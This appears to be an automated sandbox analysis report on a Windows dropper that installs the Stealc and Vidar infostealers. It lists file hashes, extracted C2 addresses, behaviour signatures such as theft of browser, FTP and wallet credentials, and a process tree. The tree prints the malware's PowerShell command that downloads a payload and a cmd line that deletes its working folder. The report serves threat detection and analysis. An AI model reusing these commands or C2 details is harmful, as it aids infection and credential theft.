Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-10-2024 20:55

General

  • Target

    6706ad721d914_JuidePorison.exe

  • Size

    8.6MB

  • MD5

    54e6bcf9be550a5b8e5cd7b83318942d

  • SHA1

    0c9084c04d5dd833867a60376c0809e8276fd869

  • SHA256

    b5eaf10fcee125295402478e086f6e3c441024daec47dde0170ba528525f1eb2

  • SHA512

    afed87e898d00a146c42f4c81b86fe5c243c205fabb3296d757915bc427bfa8fe91d7cad48a4d36f427168b90011d8ce05e8b3003ccf47f0a3e3ab5151eefd1f

  • SSDEEP

    196608:CkQm7e7eIqv9n2vYLIRQ6SSQCpX67SfUDTsmpfCcXe+8BvSk:CkQm7e7eIqvF2vRCApXVwTsmpfCcL8g

Malware Config

Extracted

Family

stealc

Botnet

default

C2

http://194.246.83.76

Attributes
  • url_path

    /a238cad009777d38.php

Extracted

Family

vidar

Version

11.1

Botnet

b3f4e62dbdd6721134cbcb95ba248e90

C2

https://steamcommunity.com/profiles/76561199786602107

https://t.me/lpnjoke

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0

Signatures

  • Detect Vidar Stealer 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6706ad721d914_JuidePorison.exe
    "C:\Users\Admin\AppData\Local\Temp\6706ad721d914_JuidePorison.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\cSHYgsiIYw0k5XX6Iz1cLUqa.exe
      C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\cSHYgsiIYw0k5XX6Iz1cLUqa.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\cSHYgsiIYw0k5XX6Iz1cLUqa.exe
        "C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\cSHYgsiIYw0k5XX6Iz1cLUqa.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1612
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JKKKJJJKJKFH" & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2828
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 10
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:552
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 52
        3⤵
        • Loads dropped DLL
        • Program crash
        PID:1768
    • C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\1OpozgkByBWQ1efpK4xUea1b.exe
      C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\1OpozgkByBWQ1efpK4xUea1b.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:usefullbox/:real_1/real" -OutFile "C:\Users\Public\Guard.exe""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
    • C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\TPHGnwavDNDsqM77KhN1htSZ.exe
      C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\TPHGnwavDNDsqM77KhN1htSZ.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1604
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2832
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2832 -s 704
          4⤵
          • Program crash
          PID:1860
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1604 -s 96
        3⤵
        • Loads dropped DLL
        • Program crash
        PID:2004

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabF9AC.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\1OpozgkByBWQ1efpK4xUea1b.exe

    Filesize

    1.1MB

    MD5

    6c4f3c584265f7c5b346356de3034244

    SHA1

    4fa91c02229d62e0d0765add00af13ac55fe54c0

    SHA256

    bfe368b6b3729f8dfee1531e43cd41a787c554e3090645dd66f9785be96ccff4

    SHA512

    fa19b642cdc4f616e798d61945c16c68c0e378de0e8de701d323727f19e2e3b138c360e91df2da4f19f9ccec90436595038a39c40a7ed4488e066066173782be

  • C:\Users\Admin\AppData\Local\Temp\TarF9BF.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\TPHGnwavDNDsqM77KhN1htSZ.exe

    Filesize

    521KB

    MD5

    9f48a0d46a463b93a0efd1ac4a216bf1

    SHA1

    981f2cdffe9c3c2a542ccf104c2259da5567edb0

    SHA256

    dae7cff094c60bbf767bb82c04b68fc02e79d6201e3bda014c79088a767c94c9

    SHA512

    02ce6a1d0e496f09edebef4d8fc159537b201cc0ccd015a3a6c619a5218707e4c67f3186df28d48005820dd7ae7b062e6eec733df6dbdc4908554b2ffc214f69

  • \Users\Admin\AppData\Local\Temp\Gigw5Ixu33Ob1kdL467g\cSHYgsiIYw0k5XX6Iz1cLUqa.exe

    Filesize

    609KB

    MD5

    13c524a80cfdf59bccb89263e2e9d758

    SHA1

    e3af9dbc99aa7f61fc59426154dea92979c1a866

    SHA256

    f06e0e417bca037bfa2150451bb6a4e38aa9db104c29167c1f642dc2ca60abfc

    SHA512

    fb0b64802e4b358da21c3bf093291841e92405c477c34d30e4e8499ba0689cd660a0ab1786a0739b1aeb00c0c9fb03ea9ec05714bd069d93613f75631c81145f

  • memory/1604-68-0x000000000041C000-0x000000000041D000-memory.dmp

    Filesize

    4KB

  • memory/1604-296-0x000000000041C000-0x000000000041D000-memory.dmp

    Filesize

    4KB

  • memory/1612-102-0x0000000000400000-0x0000000000676000-memory.dmp

    Filesize

    2.5MB

  • memory/1612-108-0x0000000000400000-0x0000000000676000-memory.dmp

    Filesize

    2.5MB

  • memory/1612-110-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1612-104-0x0000000000400000-0x0000000000676000-memory.dmp

    Filesize

    2.5MB

  • memory/1612-106-0x0000000000400000-0x0000000000676000-memory.dmp

    Filesize

    2.5MB

  • memory/1612-100-0x0000000000400000-0x0000000000676000-memory.dmp

    Filesize

    2.5MB

  • memory/1612-98-0x0000000000400000-0x0000000000676000-memory.dmp

    Filesize

    2.5MB

  • memory/1868-9-0x0000000000150000-0x0000000000151000-memory.dmp

    Filesize

    4KB

  • memory/1868-17-0x0000000000370000-0x0000000000371000-memory.dmp

    Filesize

    4KB

  • memory/1868-36-0x0000000000A60000-0x0000000001A46000-memory.dmp

    Filesize

    15.9MB

  • memory/1868-40-0x0000000000B38000-0x00000000011A2000-memory.dmp

    Filesize

    6.4MB

  • memory/1868-41-0x0000000000A60000-0x0000000001A46000-memory.dmp

    Filesize

    15.9MB

  • memory/1868-2-0x0000000000100000-0x0000000000101000-memory.dmp

    Filesize

    4KB

  • memory/1868-4-0x0000000000100000-0x0000000000101000-memory.dmp

    Filesize

    4KB

  • memory/1868-5-0x0000000000150000-0x0000000000151000-memory.dmp

    Filesize

    4KB

  • memory/1868-7-0x0000000000150000-0x0000000000151000-memory.dmp

    Filesize

    4KB

  • memory/1868-69-0x0000000000A60000-0x0000000001A46000-memory.dmp

    Filesize

    15.9MB

  • memory/1868-34-0x00000000003A0000-0x00000000003A1000-memory.dmp

    Filesize

    4KB

  • memory/1868-32-0x00000000003A0000-0x00000000003A1000-memory.dmp

    Filesize

    4KB

  • memory/1868-76-0x0000000000B38000-0x00000000011A2000-memory.dmp

    Filesize

    6.4MB

  • memory/1868-29-0x0000000000390000-0x0000000000391000-memory.dmp

    Filesize

    4KB

  • memory/1868-27-0x0000000000390000-0x0000000000391000-memory.dmp

    Filesize

    4KB

  • memory/1868-24-0x0000000000380000-0x0000000000381000-memory.dmp

    Filesize

    4KB

  • memory/1868-22-0x0000000000380000-0x0000000000381000-memory.dmp

    Filesize

    4KB

  • memory/1868-19-0x0000000000370000-0x0000000000371000-memory.dmp

    Filesize

    4KB

  • memory/1868-0-0x0000000000100000-0x0000000000101000-memory.dmp

    Filesize

    4KB

  • memory/1868-14-0x0000000000160000-0x0000000000161000-memory.dmp

    Filesize

    4KB

  • memory/1868-12-0x0000000000160000-0x0000000000161000-memory.dmp

    Filesize

    4KB

  • memory/1868-35-0x0000000000B38000-0x00000000011A2000-memory.dmp

    Filesize

    6.4MB

  • memory/1868-10-0x0000000000160000-0x0000000000161000-memory.dmp

    Filesize

    4KB

  • memory/2440-97-0x00000000010CE000-0x00000000010CF000-memory.dmp

    Filesize

    4KB

  • memory/2820-74-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

    Filesize

    2.9MB

  • memory/2820-75-0x00000000027D0000-0x00000000027D8000-memory.dmp

    Filesize

    32KB

  • memory/2832-79-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB

  • memory/2832-81-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB

  • memory/2832-83-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB

  • memory/2832-85-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB

  • memory/2832-77-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB

  • memory/2832-87-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

    Filesize

    4KB

  • memory/2832-88-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB

  • memory/2832-89-0x0000000000400000-0x0000000000661000-memory.dmp

    Filesize

    2.4MB